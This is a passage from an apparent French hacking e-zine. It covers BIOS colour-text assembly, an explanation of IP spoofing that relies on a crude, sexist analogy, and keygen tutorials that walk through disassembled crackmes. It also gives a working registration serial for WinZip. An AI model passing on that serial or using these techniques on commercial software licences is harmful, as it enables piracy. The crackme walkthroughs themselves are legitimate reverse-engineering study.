mov dx, mesg ; on met l'adresse du message en dx
mov ah,9 ; service 9h
int 0x21 ; interruption 21h
;----------fin affichage message
pop dx ; épilogue
pop cx
pop bx
pop ax
ret
L'interruption 10 correspond au service video du bios et la 21 aux entrées/sorties
(clavier, écran, imprimante...)
Pour compiler sous nasm vous faites nasmw -f bin -o prog.com prog.asm
prog.asm étant la source du prog. Moi j'ai nasmw, c la version
qui roule sous windows. Les Nasm est totalement gratuit ;-)
C'est bien beau tout ça mais nous on veux de la couleur, parce
que ça on peut le faire avec n'importe quel language de programmation
qui compile sous windows. Il existe une autre fonction qui permet d'afficher
un message, plus évolué et qui appartient à l'interruption
10 (video comme vue plus haut) mais service 13h qui correspond à
"write string".
Au fil de mes errances sur le web, je suis tombé sur une doc sur
les interruptions et voici un petit truc sur cette fonction :
:int 10,13
^INT 10,13 - Write String (BIOS versions from 1/10/86)
AH = 13h
AL = write mode (see bit settings below)
= 0 string is chars only, attribute in BL, cursor not moved
= 1 string is chard only, attribute in BL, cursor moved
= 2 string contains chars and attributes, cursor not moved
= 3 string contains chars and attributes, cursor moved
BH = video page number
BL = attribute if mode 0 or 1 (AL bit 1=0)
CX = length of string (ignoring attributes)
DH = row coordinate
DL = column coordinate
ES:BP = pointer to string
Ce qui est très puissant dans cette fonction c'est le cursor moved
qui fait avancer le prog jusqu'au caractère suivant pour l'afficher.
Mais j'ai du mal à voir ce que font les fonctions sans le moved.
Ce qui nous interesse, c'est les attributs qui permettent de spécifier
la couleur du caractère. On va se restreindre aux fonctions avec
AL=1 et AL=3.
Fonction 1 : l'attribut est dans BL ce qui veut dire que la couleur est
la même pour toute la chaine.
Fonction 2 : la chaine contient tour à tour caractères puis
attributs donc chaque caractères à sa couleur perso ;-)
On met la video page à 0 (mov bh,0), les coordonnées en
dh,dl et la longueur de chaine en cx. L'adresse de la chaine est placée
en bp.
Pour ce qui est des attributs, on les écrits en hexa (on met 0x
avant le chiffre). Je vous ai fait un super tableau avec couleur de caractère/couleur
de fond. Par exemple la colonne 1X et la ligne XF donne le code couleur
1F : caractère blanc sur fond foncé.
mov ah,13h ; service 13
mov al,1 ; couleur pour la string entière
mov bh,0 ; page 0
mov bl,0x1F ; la couleur
mov cx,14 ; on écrit 14 caractères
mov dh,4 ; 5ème ligne
mov dl,2 ; 3ème colonne
push cs
pop es
mov bp,string ; adresse de la chaine
int 10h ; interruption 10
Pour l'autre mode c'est simple, on définit la chaine par "un
caractère, sa couleur..." Vous trouverez l'exemple dans le
fichier color.asm qui correspond au prog qui était avec lotfree#03.
|
Le
spoofing c'est pas du proxying |
Dans pas mal de zines on peut
voir "le spoofing expliqué" et quand on va dans l'article
on tombe sur l'utilisation de proxy. OK utiliser un proxy c bien mais c'est
pas du spoofing. Spoofing vient de l'anglais spoof : parodier, caricaturer.
J'ai pas mal cogiter sur une représentation humaine du spoofing et
je suis parvenu à celle là :
Dans le spoofing il y a toujours 3 protagonistes qui sont l'attaquant,
la cible et la machine dont il faut se débarrasser. Voici mon exemple
:
Vous êtes dans un cyber café, à côté de
vous ya un mec qui tchache une meuf. Vous n'y tenez pas tellement attention
jusqu'au moment où la meuf lui envoie une foto d'elle : Putain la
bombe !!!! ;-) Le mec tchache grave et parvient à obtenir un rencart.
Comme vous êtes horriblement jaloux, vous vous dites qu'il faut absolument
que vous vous tapiez cette meuf à sa place.
Comment faire ? Simple vous allez au rencars et vous vous faites passer
pour le mec en question.
Petit problème : le mec va s'y rendre aussi. Une seule solution :
il faut s'en débarasser. Pour cela tout les moyens sont bons : l'écraser
en caisse, envoyer un fake mail de la part de la gonzesse... Personnelement
je préfère la technique Dum & Dumber : utilisation de
laxatif en surdose (il est vraiment trop con ce film ;-)
Vous avez compris le principe ? En informatique c pareil ! Le premier cas
connu d'escroquerie à l'IP Spoofing (comme disent les pros) à
été fait par Kevin Mitnick pour pirater l'ordinateur
de l'expert en sécurité Tsutomu Shimomura et ainsi récupérer
un logiciel de radiotélécommunication sur les téléphones
OKI. Vous vous doutez bien que si Mitnick est si célèbre c'est
pas pour une stupide utilisation d'un proxy.
Le spoofing marche sur les machines sous Unix ayant une relation de confiance
entre elles. C'est à dire qu'elles sont déclarées dans
les fichiers .rhosts. Pour ce faire passer pour une machine on utilise
le forgage d'IP et pour se débarrasser de l'autre on utilise toute
sorte de Denial of Service.
Revenons à notre exemple avec le mec du cybercafé : il a dut
donner son signalement à la meuf pour qu'ils puissent se reconnaître.
Soit vous savez tout ce qu'il a dit ("je porterais un jean bleu et
un tshirt noir") soit vous savez pas et là il va falloir deviner...
Le premier cas est dit Non-Blind Spoofing (non aveugle), il se fait
lorsque votre ennemi est sur le même sous réseau que vous et
là vous pouvez donc sniffer toute la conversation. Le second cas
est le Blind Spoofing et là c bien plus compliqué.
On peut en fait diviser le spoofing en 3 étapes : forger ses paquets,
killer l'ennemi et voler la connection (hijack). Mais bon c'est pas mon
but de faire un grand article sur le sujet car il y en a d'autres qui l'on
déjà fait (Phrack 48 article 14).
Pour forger ses paquets sous win je peux citer :MiSoSKiaN's Packet Builder
(fonctionnalitées limitées au maximum), exploit generator
de la team aggressor (mode confirmé et mode simple), wINJECT (j'aime
bien la façon dont il marche : utilisation de scripts textes avec
des exemples bien sûr ;-), Rafale X (très bien présenté...)
ainsi que NetCat qui propose un tas d'autres fonctionnalitées.
Sous Unix, ben yen a un peut partout. Mais ya spoofit qui est fait exprès
pour un spoof complet ;-)
Voilà, j'espère que ma représentation vous aura fait
comprendre comment ça marche. |
Petit entracte hors
menu |
Je sais plus si je vous avait
donné un truc sur le crackage de Winzip. Si oui oubliez le,
c'était mon premier tut de cack et il est pas bon. On va pas voir
en détail le crack. Il faut juste débuger avec W32Dasm la
routine de vérification en utilisant les step onto avec un API documentation
et au boût d'un moment il tombe sur la fonction strcmp qui compare
notre pass à un pass généré. On note ce pass
et évidemment c'est le pass à entrer. Donc pour le login
'Sirius Black' (respectez les espaces et les majuscules) vous mettez
le serial 17855772. Voilà mea coulpa, vive le banania et legalize
Banga !!! |
Cracking
1 (Keygenning) |
Allez on vous gâte !!! (enfin je vous gâte puisque je suis
tout seul). Comme à chaque vacances, je fais pas mal de cracking
(because pas accès au net) et je progresse pas mal à chaque
fois. Ca m'a permis aux dernières vacances d'étudier une
technique de cracking 1000 fois plus élégante que la modification
d'un prog : le keygening. C'est juste le fait de trouver en code
d'enregistrement valide ou mieux : de créer un prog qui vas générer
des serials valides.
Je cherchais les sites de grosses team de cracking comme Razor1911, Deviance,
Fairlight, Laxity, Eminence (ben non il font pas que des caleçons...
Arf !!! Je suis trop fort, a ouais trop content de ma connerie... ha !!
enfin bon) et puis TNT Crackers. Et comme la plupart n'ont pas de sites
officiels, je suis tombé sur d'autres sites où ils proposaient
des crackmes dont j'en ai pris 3, tous à keygenner. Ou trouver
ces crackmes donc ? sur crakmes.cjb.net Bon on commence tout doux
avec celui de Duelist.
Comme d'habitude avec les progs à cracker, on cheche l'erreur.
Ici on n'a pas le choix : ya que deux boîtes de textes qui sont
user name et registration code. Puis en dessous ya 2 boutons : check et
close. Déjà on se dit qu'à priori le prog ne vérifie
pas le serial au fur et à mesure donc c plus facile :-)
Bon comme ce prog est provocateur (il attend que ça de se faire
cracker, salope vas !!!) on entre un nom au pif (Sirius pour moi) et pi
un serial au hazard, par exemple 205 car c un sacré numéro
(enfin parait). On clique sur check et là on se prend une veste
: "Your registration info is invalid..." etc etc. Donc on lance
Win32Dasm et là... merde pas de string data ref... Bon je vous
avais dit comment faire avec un héditeur hexa et un peu de calcul.
Mais ya plus simple, vous cliquez sur le bouton Data Hex et vous avez
ça :
:00402088 6E 20 28 77 6F 72 6B 69 n (worki
:00402090 6E 67 20 6F 6E 65 29 20 ng one)
:00402098 74 6F 20 64 75 65 6C 69 to dueli
:004020A0 73 74 40 62 65 65 72 2E st@beer.
:004020A8 63 6F 6D 21 00 20 59
6F com!. Yo
:004020B0 75 72 20 72 65 67 69 73 ur regis
:004020B8 74 72 61 74 69 6F 6E 20 tration
:004020C0 69 6E 66 6F 20 69 73 20 info is
:004020C8 69 6E 76 61 6C 69 64 2E invalid.
:004020D0 2E 2E 20 4E 6F 74 65 20 .. Note
:004020D8 74 68 61 74 20 6D 6F 73 that mos
:004020E0 74 20 6F 66 20 74 68 65 t of the
:004020E8 20 73 70 65 63 69 61 6C special
:004020F0 20 63 68 61 72 73 20 6D chars m
:004020F8 61 79 20 72 61 69 73 65 ay raise
:00402100 20 72 65 67 69 73 74 72 registr
:00402108 61 74 69 6F 6E 20 70 72 ation pr
Oui je sais vous êtes impressionné ;-) Bon fini les conneries.
Notre phrase comme en a8, a9, aa, ab... en AE !! Avec la lettre 'Y' soit
59 en hexa. Donc on va chercher dans le prog un "push 004020AE".
Non seulement on le trouve mais en plus yen a qu'un. Si vous suivez pas
je vous conseille de lire les anciens LOTFREE car ce numéro est
déjà bien long et je rajouterais pas d'explications. Le
push est à l'adresse 00401224 :
* Referenced by a (U)nconditional or (C)onditional
Jump at Addresses:
|:0040113F(C), :00401148(C), :00401163(C), :0040116B(C), :004011B1(C)
|:004011B6(C), :004011F9(U)
|
:0040121A 6800200000 push 00002000
:0040121F 6801204000 push 00402001
:00401224 68AE204000 push 004020AE
:00401229 6A00 push 00000000
* Reference To: USER32.MessageBoxA,
Ord:0000h
|
:0040122B E836010000 Call 00401366
:00401230 B800000000 mov eax, 00000000
:00401235 E9DFFEFFFF jmp 00401119
On peut voir qu'en dessous ya un appel à
USER32.MessageBoxA qui est donc la fonction qui récupère
ce message. Au dessus on voit les references des sauts qui ont pu nous
amener ici : 6 conditionnels et 1 inconditionnel. Pas de panique, en général
ils se trouvent côtes à côtes et sont justes des vérifications
minimes tels que presence du login, presence du pass, longueur du login
et du pass, validité du login (par exemple il faut pas qu'il contienne
de caractères spéciaux) et puis validité du pass.
Au étudie les premiers jumps :
* Reference To: USER32.SendDlgItemMessageA,
Ord:0000h
|
:00401132 E841020000 Call 00401378
:00401137 A3AF214000 mov dword ptr [004021AF], eax
:0040113C 83F800 cmp eax, 00000000 //si eax=0
:0040113F 0F84D5000000 je 0040121A //bad boy
:00401145 83F808 cmp eax, 00000008 //si eax>8
:00401148 0F8FCC000000 jg 0040121A //bad
boy
:0040114E 8BF0 mov esi, eax //important
pour la suite
Perso j'utilise beaucoup le débuggeur de Win32Dasm (avec les break
: Ctrl+click_gauche) et après quelques tests, on comprend que le
SendDlgItemMessageA est une fonction qui renvoie la longeur de notre login
dans eax. Avec l'option documentation API et un Step Into on a :
API LONG Arg00 = SendDlgItemMessageA(Arg01,Arg02,Arg03,Arg04,Arg05)
API Address=00401378, API Return Address=00401137
Arg01 = (HWND) 000000b8 (Window"Duelist's Crackme #4")
Arg02 = (int) 00000003
Arg03 = (uMSG) 0000000e ->WM_GETTEXTLENGTH
Arg04 = (WPARAM) 00000000
Arg05 = (LPARAM) 00000000
RESULT for API SendDlgItemMessageA
Arg00 = (LONG) 00000006
Arg01 = (HWND) 000000b8 (Window"Duelist's Crackme #4")
Arg02 = (int) 00000003
Arg03 = (uMSG) 0000000e ->WM_GETTEXTLENGTH
Arg04 = (WPARAM) 00000000
Arg05 = (LPARAM) 00000000
Là ça me paraît plus parlant non ? Le résultat
peut se voir dans Arg00 soit une longueur de 6 pour "Sirius".
On regarde notre comparaison au dessus --> si longueur(login) est =
0 ou >8 alors erreur. On a déjà niqué 2 conditions.
Juste après on a :
* Reference To: USER32.SendDlgItemMessageA, Ord:0000h
|
:0040115B E818020000 Call 00401378
:00401160 83F800 cmp eax, 00000000
:00401163 0F84B1000000 je 0040121A
:00401169 3BF0 cmp esi, eax
:0040116B 0F85A9000000 jne 0040121A
Pareil on se rend compte que c'est la même fonction mais cette
fois elle renvoie 3 qui est comme par hazard la longueur de notre serial.
Ensuite on vérifie si on a entré quelque chose (cmp eax,0)
et puis on compare la longueur du serial avec celle du login qui était
en mémoire dans esi. Conclusion : le serial doit faire la même
longueur que le login. Déjà 4 saut de niqué ! On
entre donc un serial du style 123456. Et on relance le débugueur.
On met un break sur la zone :
:00401171 6860214000 push 00402160
:00401176 6A08 push 00000008
:00401178 6A0D push 0000000D
:0040117A 6A03 push 00000003
:0040117C FF7508 push [ebp+08]
* Reference To: USER32.SendDlgItemMessageA, Ord:0000h
|
:0040117F E8F4010000 Call 00401378
Le prog appelle alors une autre fonction (c'est le même call mais
pas la même fonction, un peu comme les interruptions et les services
;-) :
:00401171 6860214000 push 00402160
:00401176 6A08 push 00000008
:00401178 6A0D push 0000000D
:0040117A 6A03 push 00000003
:0040117C FF7508 push [ebp+08]
* Reference To: USER32.SendDlgItemMessageA, Ord:0000h
|
:0040117F E8F4010000 Call 00401378
et les APIs donnent :
API LONG Arg00 = SendDlgItemMessageA(Arg01,Arg02,Arg03,Arg04,Arg05)
API Address=00401378, API Return Address=00401184
Arg01 = (HWND) 00000864 (Window"Duelist's Crackme #4")
Arg02 = (int) 00000003
Arg03 = (uMSG) 0000000d ->WM_GETTEXT
Arg04 = (WPARAM) 00000008
Arg05 = (LPARAM) 00402160
RESULT for API SendDlgItemMessageA
Arg00 = (LONG) 00000006
Arg01 = (HWND) 00000864 (Window"Duelist's Crackme #4")
Arg02 = (int) 00000003
Arg03 = (uMSG) 0000000d ->WM_GETTEXT
Arg04 = (WPARAM) 00000008
Arg05 = (LPARAM) 00402160
Comme son nom l'indique cette fonction lit une chaîne de caractères,
met le résultat à l'adresse donnée en argument :
00402160
Et de plus, la longueur de la chaine est renvoyée. On clique sur
Data Hex (comme tout à l'heure et on apperçoit entre autres
notre login à 00402160. Ensuite c'est la même fonction mais
avec le serial qui se met en 00402179.
Ensuite on tombe sur un bon morceau de code :
Routine de génération du password :
* Referenced by a (U)nconditional or (C)onditional
Jump at Address:
|:004011D9(U)
|
:0040119C 41 inc ecx //pointeur sur le username
et sur le serial
:0040119D 0FBE8160214000 movsx eax, byte ptr [ecx+00402160] //met
le car en cours dans eax
:004011A4 83F800 cmp eax, 00000000 //regarde si
la chaine est terminée
:004011A7 7432 je 004011DB //si c'est le cas on
arrête
:004011A9 BEFFFFFFFF mov esi, FFFFFFFF
:004011AE 83F841 cmp eax, 00000041 //si le car <
'A' =>Bad Guy
:004011B1 7C67 jl 0040121A
:004011B3 83F87A cmp eax, 0000007A //si le car >
'z' =>Bad Guy
:004011B6 7762 ja 0040121A
:004011B8 83F85A cmp eax, 0000005A //si le car <
'Z'
:004011BB 7C03 jl 004011C0 //on passe a la cle
:004011BD 83E820 sub eax, 00000020 //sinon on passe
en majuscules
* Referenced by a (U)nconditional or (C)onditional Jump
at Addresses:
|:004011BB(C), :004011CA(C)
|
:004011C0 46 inc esi //pointeur sur les chaines
de calcul
:004011C1 0FBE9617204000 movsx edx, byte ptr [esi+00402017]
:004011C8 3BC2 cmp eax, edx //compare le car du
user name avec celui de la chaine
:004011CA 75F4 jne 004011C0 //on recommence jusqu'à
ce que ça coincide
:004011CC 0FBE863C204000 movsx eax, byte ptr [esi+0040203C] //l'indice
du car dans la chaine de calcul
:004011D3 898194214000 mov dword ptr [ecx+00402194], eax //correspond
à l'indice du car dans la seconde chaine (fabrication du serial)
:004011D9 EBC1 jmp 0040119C
Dans cette routine on s'apperçoit que si un
des caractères du login n'est pas une lettre alors on a un message
d'erreur. De plus si c'est une minuscule alors on la transforme en majuscule.
On remarque deux adresses mémoires que l'on avait pas vu auparavant
qui sont :
Address: 00402017 is in Module: DUE-CM4.EXE
char[035]:"A1LSK2DJF4HGP3QWO5EIR6UTYZ8MXN7CBV9"
DWORD:534c3141, WORD:3141, BYTE:41
CODE: inc ecx
---------------------------------------------------
Address: 0040203C is in Module: DUE-CM4.EXE
char[035]:"SU7CSJKF09NCSDO9SDF09SDRLVK7809S4NF"
DWORD:43375553, WORD:5553, BYTE:53
CODE: push ebx
Si la lettre en cours est en majuscule alors on peut
calculer. Voici un exemple. Premier caractère de la chaîne
("Sirius") = 'S'. On cherche se position dans la chaîne
00402017. La lettre est la 4ème. On récupère alors
la 4ème lettre de la seconde chaîne de calcul : 'C'. Ensuite
avec les incrémenteurs (esi,ecx) on passe au caractère suivant.
On passe à la seconde lettre : 'i'. On la met en majuscule, on
cherche dans la chaîne de calcul1 sa position : 20. Puis on prend
la 20ème lettre de la chaîne de calcul2, ce qui nous donne
: '0'. Et ainsi de suite ; à la fin on obtient la chaine "C090DC".
Mais à priori on ne sait pas à quoi elle sert (même
si on devine). On le sait vraiment là :
routine de vérification du password (suite
directe du prog):
* Referenced by a (U)nconditional or (C)onditional
Jump at Address:
|:004011A7(C)
|
:004011DB FF35AF214000 push dword ptr [004021AF]
:004011E1 6894214000 push 00402194 //met le serial
genere sur la pile
:004011E6 6879214000 push 00402179 //met votre password
sur la pile
:004011EB E854000000 call 00401244 //appelle la
fonction de comparaison
:004011F0 83F801 cmp eax, 00000001 //resultat dans
eax
:004011F3 0F84DEFEFFFF je 004010D7 //eax=1 =>Good
Guy
:004011F9 EB1F jmp 0040121A //=>Bad Guy
Ici on a droit à une bête fonction strcmp
qui renvoie 1 si les 2 chaînes passées en arguments sont
identiques.
Dans ce cas, la fonction de calcul est très simple et je ne met
pas les sources d'un keygen pour cet exemple. On peut aussi bien utiliser
le C que le pascal, le php et même le javascript.
|
Cracking
2 (toujours du keygenning) |
Bon, reprenez votre suffle parce que la ça va être plus
dur. Il s'agit d'un crack en pur Win32Asm codé par THE_q de
la PhroZen Crew. Alors comme d'hab on le lance, on entre un nom bidon
(Sirius) et un code bidon (666) ; petit problème : quand on valide
il se passent que dalle donc on se dit merde, des complications... Et
bien nom, on désassemble avec Win32Dasm, on va dans les String
Data References et on voit "Cool !! U found a correct Serial ! =)".
On regarde quand est appelé ce texte , d'où on vient etc.
On met des breaks avant, histoire de voir se qui se passe et puis au boût
d'un moment on en tire le boût de programme suivant :
:004012C4 6A65 push 00000065
:004012C6 FF7508 push [ebp+08]
* Reference To: USER32.GetDlgItem, Ord:0000h
|
:004012C9 E852010000 Call 00401420
:004012CE 68A9214000 push 004021A9
:004012D3 6A28 push 00000028
:004012D5 6A0D push 0000000D
:004012D7 50 push eax
* Reference To: USER32.SendMessageA, Ord:0000h //
API interessante
|
:004012D8 E873010000 Call 00401450
:004012DD A2D1214000 mov byte ptr [004021D1], al
:004012E2 3C00 cmp al, 00 // tient ça ressemble
:004012E4 7467 je 0040134D
:004012E6 90 nop
:004012E7 90 nop
:004012E8 90 nop
:004012E9 90 nop
:004012EA 3C08 cmp al, 08 // à quelque chose
qu'on a vu tout a l'heure
:004012EC 7309 jnb 004012F7
:004012EE 90 nop
:004012EF 90 nop
:004012F0 90 nop
:004012F1 90 nop
:004012F2 E85F000000 call 00401356
* Referenced by a (U)nconditional or (C)onditional Jump
at Address:
|:004012EC(C)
|
:004012F7 6A00 push 00000000
:004012F9 6A00 push 00000000
* Possible Reference to Dialog: DialogID_0001, CONTROL_ID:0066,
""
|
:004012FB 6A66 push 00000066
:004012FD FF7508 push [ebp+08]
* Reference To: USER32.GetDlgItemInt, Ord:0000h //
Interessant
|
:00401300 E821010000 Call 00401426
:00401305 A3D2214000 mov dword ptr [004021D2], eax
:0040130A 3C00 cmp al, 00
:0040130C 743F je 0040134D
:0040130E 90 nop
:0040130F 90 nop
:00401310 90 nop
:00401311 90 nop
:00401312 E85E000000 call 00401375
:00401317 E8A5000000 call 004013C1
:0040131C 85C0 test eax, eax // On teste eax
:0040131E 742D je 0040134D // si c'est egal à
0 on saute
:00401320 90 nop
:00401321 90 nop
:00401322 90 nop
:00401323 90 nop
:00401324 6A00 push 00000000
* Possible StringData Ref from Data Obj ->"Correct
!" // sinon c'est que le pass est bon
|
:00401326 689F214000 push 0040219F
* Possible StringData Ref from Data Obj ->" C00L
!! U found a correct "
->"Serial ! =)"
|
:0040132B 683A214000 push 0040213A
:00401330 FF7508 push [ebp+08]
* Reference To: USER32.MessageBoxA, Ord:0000h
|
:00401333 E806010000 Call 0040143E
On débugge le prog, la première API (GetDlgItem) ne nous
interesse pas à priori. Pour la seconde (SendMessage) plusieurs
paramètres sont passés dont une adresse en mémoire
: 004021A9. On met un break avant et après le call puis on va voir
en mémoire ce qui a été mis en 4021A9. On clique
sur data hex puis on trouve :
:00402178 79 20 65 2D 6D 61 69 6C y e-mail
:00402180 20 74 6F 20 3A 20 50 68 to : Ph
:00402188 72 6F 7A 65 6E 5F 71 40 rozen_q@
:00402190 63 79 62 65 72 64 75 64 cyberdud
:00402198 65 2E 63 6F 6D 20 00 43 e.com .C
:004021A0 6F 72 72 65 63 74 20 21 orrect !
:004021A8 00 53 69 72 69 75 73 00 .Sirius.
:004021B0 8F 00 00 00 00 00 00 00 ........
:004021B8 00 00 00 00 00 00 00 00 ........
:004021C0 00 00 00 00 00 00 00 00 ........
:004021C8 00 00 00 00 00 00 00 00 ........
:004021D0 00 06 9A 02 00 00 50 68 ......Ph
:004021D8 72 6F 5A 65 6E 51 00 00 roZenQ..
:004021E0 00 00 00 00 00 00 00 00 ........
:004021E8 00 00 00 00 00 00 00 00 ........
:004021F0 00 00 00 00 00 00 00 00 ........
:004021F8 00 00 00 00 00 00 00 00 ........
On voit bien notre login (Sirius) à l'adresse prévu mais
on remarque aussi la chaîne "PhroZenQ" qui est sans doute
ici pour encrypter notre login ou notre pass plus tard. On comprend aussi
que la longeur du nom qu'on entre est renvoyé dans eax (6 dans
notre cas). Ensuite le prog vérifie si on a entré quelque
chose. Si ya rien on se casse. Ensuite on regarde si le login a au moins
8 caractères, si c'est la cas le login est validé sinon
on appelle le call 00401356.
A partir de maintenant je designerais cette procédure comme le
PRE-CALL. Que fait-il ? Et bien il modifie notre login si ce dernier
a une longueur comprise entre 1 et 7 inclus. Voici le call :
* Referenced by a CALL at Address:
|:004012F2
|
:00401356 33DB xor ebx, ebx // met ebx à
zero
:00401358 8A1DD1214000 mov bl, byte ptr [004021D1]//la
longueur de notre login
:0040135E B108 mov cl, 08 // cl=8;
:00401360 2ACB sub cl, bl // cl = 8 - longeur(login)
:00401362 BFA9214000 mov edi, 004021A9 // l'adresse
de notre login
:00401367 6603FB add di, bx // edi = edi + bl
:0040136A B030 mov al, 30 // al est initialisée
à 30 en hexa soit '0'
:0040136C AA stosb // je vais vous expliquer ça
:0040136D FEC0 inc al // on incrémente al
:0040136F E2FB loop 0040136C // boucle vers 0040136C
:00401371 C60700 mov byte ptr [edi], 00 // met 0
dans edi
:00401374 C3 ret
Bon, petit cours de ratrapage pour les nuls :
Avec les progrès des processeurs, les registres ont gagnés
en taille. Maintenant les programmes sont codés en 32 bits soit
4 octets. 4 octets c'est la taille qui sert pour désigner une adresse
en mémoire (par exemple 004021A9). Les registres comme ebx prennent
eux aussi 4 octets mais à une époque ils ne prenaient que
2 octets, on avait alors droit au registre bx qui est l'ancètre
de ebx. En fait on a juste augmenté sa taille mais les ancien noms
on subsistés et serve toujours (ils sont d'ailleurs très
pratique). Peit exemple avec ebx
EBX
(32 bits)
|
|
BX
(16 bits)
|
|
BH
(8)
|
BL
(8)
|
Bref, quand on parle de EBX, on parle aussi de BX (sa moitié)
puis de BH (H comme high) et BL (L comme low). Ainsi si on a EBX = 0040A9B8
et que l'on fait un mov bx, 4D56 alors on
aura EBX = 00404D56. C'est pareil pour di
(16 bits) qui est passé à edi (32 bits). En gros les registres
de 32 bits commencent par un 'e'.
Maintenant analysons le PRE-CALL. Au début on met EBX à
0.
On a donc EBX = 00000000 (vu qu'il fait 32 bits).
Ensuite on met dans bl (registre de 8 bits soit un octet) la longueur
sur un octet de notre login.
Comme bl est une partie de EBX, on a EBX = 000000XX où XX est la
longueur de notre chaine en hexa.
Puis cl initialisé à 8. Ensuite on retranche la longueur
de notre login à cl.
mov edi, 004021A9 signifie que edi prend l'adresse de notre login (à
ne pas confondre avec la valeur). On dit que edi "pointe" sur
le premier caractère de la chaine. di est ensuite augmenté
de bx (la longueur) : di pointe donc maintenant sur le caractère
de fin de chaine (après le dernier caractère).
L'instruction stosb je vais vous l'expliquer en dernier.
Inc al est l'équivalent de al = al + 1;
Loop Adresse est une boucle qui retourne à Adresse tant
que ecx n'est pas égal à 0. A chaque fois que l'on rencontre
Loop, ecx est décrémenté.
mov byte ptr[edi], 00 signifie que l'on met dans l'octet pointé
par edi la valeur 0.
L'instruction stosb est une instruction très utilisé pour
les chaines de caractères. A chaque fois que l'on crois stosb,
le contenu de al est mis dans l'octet pointé par edi, puis edi
est incrémenté.
Dans notre cas, edi pointe d'abord sur la fin de la chaine et al vaut
30 soit le caractère '0'.
On passe par stosb, '0' se retrouve donc à la fin de notre chaine
(on a maintenant 'Sirius0').
al est ensuite incrémenté (al devient le caractère
'1') puis on fait un loop. On en déduit que ecx est décrémenté.
Or ecx est la valeur 8 - longueur(login). C'est à dire que l'opération
va se répeter jusqu'à ce que notre login ai atteint 8 caractères
et ce en ajoutant à chaque fois '0', '1', '2'... Avec Sirius on
obtient Sirius01. Avec SB on aurrait eu SB012345.
Bon c'est fini pour le PRE-CALL. Si on regarde l'algo que je vous
ai mis au début, maintenant on passe par l'API GetDlgItemInt qui
comme son nom l'indique lit un entier. Après quelques essai on
se rend compte que cette fonction ne renvoie une valeur qui si on lui
donne un chiffre. Comme d'habitude la valeur de retour est dans eax. Les
infos des API nous donnent :
API UINT Arg00 = GetDlgItemInt(Arg01,Arg02,Arg03,Arg04)
API Address=00401426, API Return Address=00401305
Arg01 = (HWND) 00000d30 (Window"Register")
Arg02 = (int) 00000066
Arg03 = (BOOL *) 00000000
Arg04 = (BOOL) 00000000
RESULT for API GetDlgItemInt
Arg00 = (UINT) 0000029a
Arg01 = (HWND) 00000d30 (Window"Register")
Arg02 = (int) 00000066
Arg03 = (BOOL *) 00000000
Arg04 = (BOOL) 00000000
Où 29a est bien évidemment la traduction hexa de notre
666. On fait un petit tour dans la mémoire pour voir où
en sont les données :
:00402178 79 20 65 2D 6D 61 69 6C y e-mail
:00402180 20 74 6F 20 3A 20 50 68 to : Ph
:00402188 72 6F 7A 65 6E 5F 71 40 rozen_q@
:00402190 63 79 62 65 72 64 75 64 cyberdud
:00402198 65 2E 63 6F 6D 20 00 43 e.com .C
:004021A0 6F 72 72 65 63 74 20 21 orrect !
:004021A8 00 53 69 72 69 75 73 30 .Sirius0
:004021B0 31 00 00 00 00 00 00 00 1.......
:004021B8 00 00 00 00 00 00 00 00 ........
:004021C0 00 00 00 00 00 00 00 00 ........
:004021C8 00 00 00 00 00 00 00 00 ........
:004021D0 00 06 9A 02 00 00 50 68 ......Ph
:004021D8 72 6F 5A 65 6E 51 00 00 roZenQ..
:004021E0 00 00 00 00 00 00 00 00 ........
:004021E8 00 00 00 00 00 00 00 00 ........
:004021F0 00 00 00 00 00 00 00 00 ........
:004021F8 00 00 00 00 00 00 00 00 ........
Vous pouvez remarquer que notre chiffre est mis à l'envers dans
la mémoire, c'est comme ça pour tous les chiffres. Donc
si ce que l'on a entré lui convient il vas vers les deux call juste
avant le test final sinon il se barre. Encore une fois on voit que ce
serait très facile de patcher le test final mais c'est moins intéressant
;-). J'ai appelé les deux calls respectivement call1 et
call2.
Etudions le premier call :
* Referenced by a CALL at Address:
|:00401312
| // on initialise
:00401375 33C9 xor ecx, ecx // on met ecx à
0
:00401377 BEA9214000 mov esi, 004021A9 // esi pointe
vers notre chaine (Sirius01)
:0040137C 8BFE mov edi, esi // edi aussi
* Referenced by a (U)nconditional or (C)onditional Jump
at Address:
|:00401391(C)
|
:0040137E AC lodsb
:0040137F F7D1 not ecx
:00401381 8A99B1214000 mov bl, byte ptr [ecx+004021B1]
:00401387 F7D1 not ecx
:00401389 02C3 add al, bl
:0040138B AA stosb
:0040138C FEC1 inc cl
:0040138E 80F904 cmp cl, 04
:00401391 75EB jne 0040137E
:00401393 B904000000 mov ecx, 00000004
:00401398 BEA9214000 mov esi, 004021A9
:0040139D 8BFE mov edi, esi
:0040139F 83C704 add edi, 00000004
:004013A2 F2 repnz
:004013A3 A4 movsb
:004013A4 BEA9214000 mov esi, 004021A9
:004013A9 8BFE mov edi, esi
:004013AB B908000000 mov ecx, 00000008
:004013B0 AC lodsb
:004013B1 F7D1 not ecx
:004013B3 8A99DF214000 mov bl, byte ptr [ecx+004021DF]
:004013B9 F7D1 not ecx
:004013BB 32C3 xor al, bl
:004013BD AA stosb
:004013BE E2F0 loop 004013B0
:004013C0 C3 ret
Ce que j'ai mis en bleu, ce sont les deux boucles principales de notre
call1. Voyons la première boucle :
lodsb est à peut près ce que fait stosb mais en sens inverse.
Cette instruction remplie al avec l'octet pointé par esi.
not ecx permet de complémenter ecx. On peut considérer cela
comme un calcul de l'inverse. A quoi ça va servir ? et bien en
fait pour faire des soustractions. En fait soustraire 3, c'est comme ajouter
-3. De même soustraire 00000001 serait comme ajouter fffffffe. Donc
que fait notre boucle ? Dès le début, elle met dans al le
premier caractère de notre chaine et esi est incrémenté
(comme stosb faisait avec edi).
Puis ecx est complémenté. ecx a été précedemment
fixé à zéro donc là il prend la valeur ffffffff.
004021B1 est le pointeur vers le dernier caractère de notre chaine
('1').
L'instruction mov bl, byte ptr [ecx+004021B1] signifie que bl prend la
valeur sur un octet de la valeur pointé par (dernier caractère
- 0). Donc bl prend le caractère '1'. Le premier caractère
(al) et le dernier (bl) sont ensuite additionné
Juste après ecx est complémenté de nouveau pour reprendre
sa valeur d'avant.
Avec stosb, notre premier caractère est remplacé par le
premier + le dernier = la valeur hexa de 'S' + '1'.
cl est ensuite incrémenté. On recommence cette boucle tant
qu'il n'est pas égal à 4 (la moitié de notre chaine).
ecx vaut donc maintenant 1. On en déduit que al vas prendre la
valeur login[1] en considérant que login[0] correspond au premier
caractère et login[n] au dernier. En fait notre boucle calcule
à chaque fois login[ecx] + login[n-ecx] jusqu'à ce que ecx
